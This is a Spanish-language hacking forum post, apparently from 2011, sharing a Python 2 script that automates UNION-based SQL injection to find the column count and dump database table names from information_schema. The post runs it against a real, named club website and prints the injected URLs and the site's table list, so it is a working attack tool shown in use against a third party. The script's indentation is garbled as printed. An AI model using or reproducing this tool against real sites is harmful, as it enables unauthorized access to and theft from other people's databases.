[Código-Python] SQLi Searcher V3 - JaAViEr

Iniciado por JaAViEr, Junio 03, 2011, 02:15:13 AM

Tema anterior - Siguiente tema

0 Miembros y 3 Visitantes están viendo este tema.

Junio 03, 2011, 02:15:13 AM Ultima modificación: Marzo 23, 2015, 11:58:13 AM por Expermicid
No me vayan a tomar de spammer... Pero terminé la V3
Esta vez saca las tablas de la DB y las devuelve en pantalla...
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login V2
Sin más preambulo:
Código: python

import urllib2
def search(i,xas,url,tipo):
    count=1
    for a in range(0,i+1):
        injc=xas.replace("%s"%a ,"group_concat(table_name)")
        injection="%s-1+union+all+select+%s+from+information_schema.tables--"%(url,injc)
y=urllib2.urlopen("%s"%injection)
log=open("log.txt","a")
if "character_sets" in y.read().lower():
            print "Encontrados:%s"%count
    log.write("Obtener Tablas:%s\n"%injection)
    count+=1
    x=urllib2.urlopen("%s"%injection)
    url=x.read().split("CHARACTER_SETS")
    nocoma=url[1].replace(",","\n")
    noapos=nocoma.split('<')
    print noapos[0]
    log.close()
    print "Terminado. Log guardado en log.txt"
stx=""
i=1
url=raw_input("URL:")
tipos=input("1.-The Used Select...\n2.-MySQL_Fetch...\n::>")
log=open("log.txt","w")
if tipos==1:
serch="the used select"
elif tipos==2:
serch="mysqli_fetch"
log.write("Url:%s\n"%url)
log.write("Tipo:%s\n"%serch)
print "Buscando..."
while 1:
    stx=stx+"%s,"%i
    w=urllib2.urlopen("%s-1+union+all+select+%s"%(url,stx[:-1]))
    if serch in w.read().lower():
        print ".",
    else:
        injx=stx[:-1]
fin="-1+union+all+select+%s"%injx
        log.write("Primera Inyeccion:%s%s\n"%(url,fin))
log.close()
print "Segundo Paso..."
search(i,injx,url,serch)
        break
    i+=1

Uso:
Código: text

C:\Python27>sql.py
URL:http://www.ccsantaeulalia.com/noticia.php?id=
1.-The Used Select...
2.-MySQL_Fetch...
::>1
Buscando...
. . . Segundo Paso...
Encontrados:1
Encontrados:2
Encontrados:3

COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
PROFILING
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
ARCHIVOSE
ARCHIVOSN
CLASE
DIAS
ENLACES
EQUIPO
EVENTOS
GALERIAS
IMAGENESEQUIPO
IMAGENESNOTICIAS
INSCRIPCIONES
MAILING
NOTICIAS
REGLAMENTO
TEXTOS
Terminado. Log guardado en log.txt

Usé los datos:
URL:You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
1.-The Used Select...
2.-MySQL_Fetch...
::>1
El log.txt quedó finalmente con:
Código: text

Url:http://www.ccsantaeulalia.com/noticia.php?id=
Tipo:the used select
Primera Inyeccion:http://www.ccsantaeulalia.com/noticia.php?id=-1+union+all+select+1,2,3,4
Obtener Tablas:http://www.ccsantaeulalia.com/noticia.php?id=-1+union+all+select+group_concat(table_name),2,3,4+from+information_schema.tables--
Obtener Tablas:http://www.ccsantaeulalia.com/noticia.php?id=-1+union+all+select+1,group_concat(table_name),3,4+from+information_schema.tables--
Obtener Tablas:http://www.ccsantaeulalia.com/noticia.php?id=-1+union+all+select+1,2,3,group_concat(table_name)+from+information_schema.tables--

Las tablas fueron:
Código: text

COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
PROFILING
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
ARCHIVOSE
ARCHIVOSN
CLASE
DIAS
ENLACES
EQUIPO
EVENTOS
GALERIAS
IMAGENESEQUIPO
IMAGENESNOTICIAS
INSCRIPCIONES
MAILING
NOTICIAS
REGLAMENTO
TEXTOS

Aun hay un pequeño problema que a veces quedan TAGS HTML alfinal... Pero no molestan mucho...

Saludos UnderC0de ;D
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login